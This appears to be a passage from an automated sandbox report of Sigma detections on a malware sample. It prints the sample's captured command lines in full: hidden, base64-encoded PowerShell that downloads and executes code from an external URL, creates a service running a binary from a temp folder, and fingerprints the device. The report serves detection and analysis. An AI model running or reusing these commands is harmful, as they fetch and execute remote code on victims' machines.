UASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 5680, ProcessName: sc.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Source: Event Logs

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro: Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 73eaace9-5608-4224-a8c0-fe26dfb6ea20 Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = f65597f7-1529-4ef4-948b-13b5eeac5c5e Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 73eaace9-5608-4224-a8c0-fe26dfb6ea20 Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = f65597f7-1529-4ef4-948b-13b5eeac5c5e Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms"

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 4316, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8860, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline", ProcessId: 9180, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" , CommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8